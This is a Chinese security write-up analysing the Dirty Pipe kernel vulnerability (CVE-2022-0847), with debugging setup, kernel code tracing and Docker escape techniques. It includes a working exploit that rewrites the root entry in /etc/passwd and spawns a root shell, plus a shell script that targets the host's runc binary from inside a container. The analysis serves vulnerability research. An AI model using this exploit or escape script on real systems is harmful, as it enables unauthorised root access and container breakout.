从脏管道(CVE-2022-0847)到docker逃逸
本文转自先知社区：https://xz.aliyun.com/t/12055
作者：happi0
本文主要分析了CVE-2022-0847的原理和由于其独特的利用条件造成的关于docker逃逸的利用思路
漏洞环境
内核源码
wget https://cdn.kernel.org/pub/linux/kernel/v5.x/linux-5.11.1.tar.gz
编译
make x86_64_defconfig # 加载默认configmake menuconfig # 自定义config
编译选项
添加调试信息， 需要以下几行
[*] Compile the kernel with debug info [*] Generate dwarf4 debuginfo [*] Provide GDB scripts for kernel debugging
文件系统
sudo mkfs.ext4 -F stretch.img
共享文件夹与命令
上文制作的文件系统只有最基本的命令，在主机上下载静态编译的busybox和poc放到share目录下，方便在虚拟机中使用
在下文qemu的启动命令的-hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share是将主机的share目录挂载到虚拟机上，我这里的环境是在虚拟机的/dev/sdb1上，进入虚拟机后使用使用mount命令将share文件夹挂载即可
host: mkdir share wget bin.n0p.me/x64/busybox mv busybox share vir: mkdir /share mount /dev/sdb1 /share
由于本虚拟机是只有很基本的环境，在调试漏洞之前还需要做一些操作, 创建/etc/passwd, 修改权限等
cat /share/passwd > /etc/passwd()chmod 777 /tmptouch /tmp/passwd.bakchmod 777 /tmp/passwd.bak
qemu
启动虚拟机
一个小坑, 由于我的主机是arch, qemu的依赖被破坏了，需要手动安装低版本libbpf, 用pacman -Udd强制安装即可
sudo qemu-system-x86_64 \ -s \ -m 2G \ -smp 2 \ -kernel ./arch/x86/boot/bzImage \ -append "console=ttyS0 earlyprintk=serial"\ -hda ./stretch.img \ -hdb fat:rw:/home/happi0/note/CVE-2022-0847/linux-5.11.1/share \ -nographic \ -initrd initramfs.img \ -pidfile vm.pid \ 2>&1 | tee vm.log
漏洞原理
在调试之前首先根据补丁来简单了解一下漏洞造成的原因。
补丁中给copy_page_to_iter_pipe()和push_pipe()添加了buf->flags的初始化为0。
这里需要了解一些前置知识，有三篇写的很详细的文章
- CVE-2022-0847 dirtypipe linux本地提权全网第二详细漏洞分析
- Linux 内核 DirtyPipe 任意只读文件覆写漏洞（CVE-2022-0847）分析
- Linux 内核提权 DirtyPipe(CVE-2022-0847) 漏洞分析
不过由于本文重点不在这里，这里只简单说一下我自己的理解。
- 管道(
pipe)是linux中进程中通信的主要手段，它被设计为一个可以循环使用的环形数据结构，通常只有16个page(每个page大小通常为4k)，为了节省空间，如果单次没有写满一个page大小，pipe buffer会有一个PIPE_BUF_FLAG_CAN_MERGE属性(其值为0x10)，用来标识该页面没有写满。当该属性存在时，下次pipe_write()会继续向同一个page写入数据。 splice()将包含文件的page链接到pipe时copy_page_to_iter_pipe()和push_pipe()函数没有对buf->flag初始化，也就是说，如果该page的PIPE_BUF_FLAG_CAN_MERGE属性为真的话，会继续向该page写入内容，造成非法写入。
Exp分析
根据exp分析漏洞利用的细节，删除了部分检测利用条件、备份密码等漏洞利用不相关代码。
static void prepare_pipe(int p[2]){ if (pipe(p)) abort();
const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ); static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; } // 将所有管道填满，使其具有PIPE_BUF_FLAG_CAN_MERGE属性
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; read(p[0], buffer, n); r -= n; } // 读取所有管道的内容，即清空管道
}
int main() { const char *const path = "/etc/passwd";
... // 备份/etc/passwd ... loff_t offset = 4; // 略过"root"字符，这样构造也是因为漏洞利用的条件包含必须有大于1的偏移 const char *const data = ":$1$aaron$pIwpJwMMcozsUxAtRa85w.:0:0:test:/root:/bin/sh\n"; // openssl passwd -1 -salt aaron aaron 密码的哈希散列
const int fd = open(path, O_RDONLY); if (fd < 0) { perror("open failed"); return EXIT_FAILURE; } // 以只读权限打开特权文件
... // 一些漏洞利用条件检查
int p[2]; prepare_pipe(p); // 使得创建的管道具有PIPE_BUF_FLAG_CAN_MERGE属性，为漏洞利用做准备
--offset; ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0); // 将file page和pipe buf关联起来 // 由于PIPE_BUF_FLAG_CAN_MERGE属性的存在，不会创建新的pipe_buffer, 数据会直接写进file page中
nbytes = write(p[1], data, data_size); // 写入数据
char *argv[] = {"/bin/sh", "-c", "(echo aaron; cat) | su - -c \"" "echo \\\"Restoring /etc/passwd from /tmp/passwd.bak...\\\";" "cp /tmp/passwd.bak /etc/passwd;" "echo \\\"Done! Popping shell... (run commands now)\\\";" "/bin/sh;" "\" root"}; execv("/bin/sh", argv);
printf("system() function call seems to have failed :(\n"); return EXIT_SUCCESS; // 弹出shell}
从上面可以看出EXP主要可以分为四步
- 备份密码
- 使管道具有
PIPE_BUF_FLAG_CAN_MERGE具有属性，EXP中使用的是填满再清空的方法 - 用splice将file page和pipe 关联起来
- 将数据写入管道
动态跟踪
使管道具有PIPE_BUF_FLAG_CAN_MERGE具有属性
使管道具有PIPE_BUF_FLAG_CAN_MERGE具有属性的关键点在pipe_write函数中，已略去部分无关代码
pipe_write(struct kiocb *iocb, struct iov_iter *from){ struct file *filp = iocb->ki_filp; struct pipe_inode_info *pipe = filp->private_data; unsigned int head; ssize_t ret = 0; size_t total_len = iov_iter_count(from); ssize_t chars; bool was_empty = false; bool wake_next_writer = false;
... if (!pipe->readers) { // 没有读端直接返回 send_sig(SIGPIPE, current, 0); ret = -EPIPE; goto out; } ...
head = pipe->head; was_empty = pipe_empty(head, pipe->tail); // 判断管道头尾指针是否相等，如果相等则管道为空。 chars = total_len & (PAGE_SIZE-1); // 判断需要写入的数据的大小，chars为余数 if (chars && !was_empty) { // 页帧不为空且chars不为空，则从最后一页接着写 // 在exp前部分中，每次向pipe中写入的数据大小为页帧的整数倍，所以chars总为空 unsigned int mask = pipe->ring_size - 1; struct pipe_buffer *buf = &pipe->bufs[(head - 1) & mask]; int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { // 如果buf -> flag == PIPE_BUF_FLAG_CAN_MERGE, 即代表当前页是可融合的 // 且已有内容 + 剩余内容 < 页帧大小，则直接将剩余内容写入当前页 ret = pipe_buf_confirm(pipe, buf); if (ret) goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from); if (unlikely(ret < chars)) { ret = -EFAULT; goto out; }
buf->len += ret; if (!iov_iter_count(from)) goto out; } }
for (;;) { // 这里是最后一页无法接着写的情况 if (!pipe->readers) { // 如果pipe的读者数量为0，则发送信号，直到有读者。 send_sig(SIGPIPE, current, 0); if (!ret) ret = -EPIPE; break; }
head = pipe->head; if (!pipe_full(head, pipe->tail, pipe->max_usage)) { unsigned int mask = pipe->ring_size - 1; struct pipe_buffer *buf = &pipe->bufs[head & mask]; struct page *page = pipe->tmp_page; int copied;
if (!page) { // 如果缓存页为空，则新分配的page page = alloc_page(GFP_HIGHUSER | __GFP_ACCOUNT); if (unlikely(!page)) { ret = ret ? : -ENOMEM; break; } pipe->tmp_page = page; }
spin_lock_irq(&pipe->rd_wait.lock); head = pipe->head; if (pipe_full(head, pipe->tail, pipe->max_usage)) { spin_unlock_irq(&pipe->rd_wait.lock); continue; }
pipe->head = head + 1; spin_unlock_irq(&pipe->rd_wait.lock);
buf = &pipe->bu fs[head & mask]; buf->page = page; // 把新申请的页放入页数组中 buf->ops = &anon_pipe_buf_ops; buf->offset = 0; buf->len = 0; if (is_packetized(filp)) buf->flags = PIPE_BUF_FLAG_PACKET; else buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 设置flag, 默认为PIPE_BUF_FLAG_CAN_MERGE， 即可融合的页 // #define PIPE_BUF_FLAG_CAN_MERGE 0x10 pipe->tmp_page = NULL;
copied = copy_page_from_iter(page, 0, PAGE_SIZE, from); if (unlikely(copied < PAGE_SIZE && iov_iter_count(from))) { if (!ret) ret = -EFAULT; break; } ret += copied; buf->offset = 0; buf->len = copied;
if (!iov_iter_count(from)) break; }
...
__pipe_unlock(pipe); if (was_empty) { wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM); kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN); } wait_event_interruptible_exclusive(pipe->wr_wait, pipe_writable(pipe)); __pipe_lock(pipe); was_empty = pipe_empty(pipe->head, pipe->tail); wake_next_writer = true; }out: if (pipe_full(pipe->head, pipe->tail, pipe->max_usage)) wake_next_writer = false; __pipe_unlock(pipe);
if (was_empty) { wake_up_interruptible_sync_poll(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM); kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN); } if (wake_next_writer) wake_up_interruptible_sync_poll(&pipe->wr_wait, EPOLLOUT | EPOLLWRNORM); if (ret > 0 && sb_start_write_trylock(file_inode(filp)->i_sb)) { int err = file_update_time(filp); if (err) ret = err; sb_end_write(file_inode(filp)->i_sb); } return ret;}
在EXP中的prepare_pipe()函数中，首先将管道填满，并且每次写入的数据大小为4k
static char buffer[4096];
for (unsigned r = pipe_size; r > 0;) { unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r; write(p[1], buffer, n); r -= n; }
导致chars = total_len & (PAGE_SIZE-1);每次都为零, 所以不会进入第一个if中
if (chars && !was_empty) {
由于不断的写，导致需要申请新的页, 并且新的页的flag为PIPE_BUF_FLAG_CAN_MERGE, 并直接被放入了页数组中
if (!page) { // 如果缓存页为空，则新分配的page ... buf->page = page; // 把新申请的页放入页数组中 ... buf->flags = PIPE_BUF_FLAG_CAN_MERGE; // 设置flag, 默认为PIPE_BUF_FLAG_CAN_MERGE， 即可融合的页 // #define PIPE_BUF_FLAG_CAN_MERGE 0x10
重复15次，把所有的pipe buffer的flags都置为0x10
用splice将file page和pipe 关联起来
首先在copy_page_to_iter_pipe中停下，保存page的地址
继续到pipe_write停下, 由于这次不是4k的整数倍，于是chars不为0，进入到漏洞分支
打印出即将写入的page, 和我们保存的page一样，已经即将把数据写入
漏洞效果
由于虚拟机只有最基本的环境，所以su, id这类命令都需要上文下载的静态编译的busybox实现
可以看到，低权限用户也可以对高权限文件改写
利用条件与限制
利用条件
- 有可读权限或者可以传回文件的文件描述符
- 有漏洞的内核
利用的限制
- 第一个字节不可修改，并且单次写入不能大于4k
- 只能单纯覆盖，不能调整文件大小
- 由于漏洞基于内存页，所以不会对磁盘有影响
与docker的关系
由于docker和宿主机是共享内核，尽管其他进程资源是隔离开的，内核洞也很可能会docker容器造成安全问题.
对于容器的影响
由于docker本质上是由一组互相重叠的层组层的，容器引擎将其合并到一起，原本这些层都是只读的，但由于脏管道漏洞的影响，我们可以在u1容器修改/etc/passwd使得u2容器的/etc/passwd被修改
利用CAP_DAC_READ_SEARCH实现容器逃逸
通过利用CAP_DAC_READ_SEARCH与脏管道可以实现覆盖主机文件, 该攻击手段可以在github看到详细过程
实际上主要是CAP_DAC_READ_SEARCH可以调用open_by_handle_at, 可以获得主机文件的文件描述符，配合脏管道于是就可以修改主机文件
这种攻击方式非常简单，核心就是获得文件的文件描述符即可
通过runc实现容器逃逸
一个容器开启时，可以分为以下三步
- fork创建子进程
- 初始化容器化环境
- 将执行流重定向到用户提供的入口点
对于第三步，以大名鼎鼎的CVE-2019-5736为例，当重定向入口点时，容器内的/proc/self/exec与主机的runc二进制文件相关联
因此可以通过在容器内写入该文件描述符实现容器逃逸
对于CVE-2019-5736的修复
由于篇幅原因这里不跟进CVE-2019-5736的修复的具体代码，直接看git commit了解修复逻辑
可以看到修复逻辑是克隆/proc/self/exec避免容器内部直接获取runC
然而很快开发者修改了修复逻辑
可以看到开发者认为克隆导致的内存开销太大了，可能造成OOM或者其他问题，把修复逻辑改成了只读挂载
这里联想到上文总结的脏管道的利用条件和利用效果，发现刚好契合
这里的利用主要参考了链接
主机执行docker exec -it u1 /bin/sh后/usr/sbin/runc的哈希值变化了，且头部被注入标识
利用思路也很简单，修改CVE-2022-0847的exp，将需要注入的字节改为shellcode，这里我随便改的标识
然后在容器内找到主机的runc的pid即可，可以参考以下的shell脚本
#!/bin/bash
echo '#!/proc/self/exe' > /bin/sh
echo "Waiting for runC to be executed in the container"
while true ; dorunC_pid=""
while [ -z "$runC_pid" ] ; do runC_pid=$(ps axf | grep /proc/self/exe | grep -v grep | awk '{print $1}') done
/exp /proc/${runC_pid}/exedone
总结
由于docker容器和主机是共享内核的，且目前的runc是通过挂为只读权限防止逃逸的，对于提权类内核洞来说，这两个限制很容易被绕过，所以尽管容器逃逸类漏洞很少见，但提权类的内核漏洞很可能导致容器逃逸。
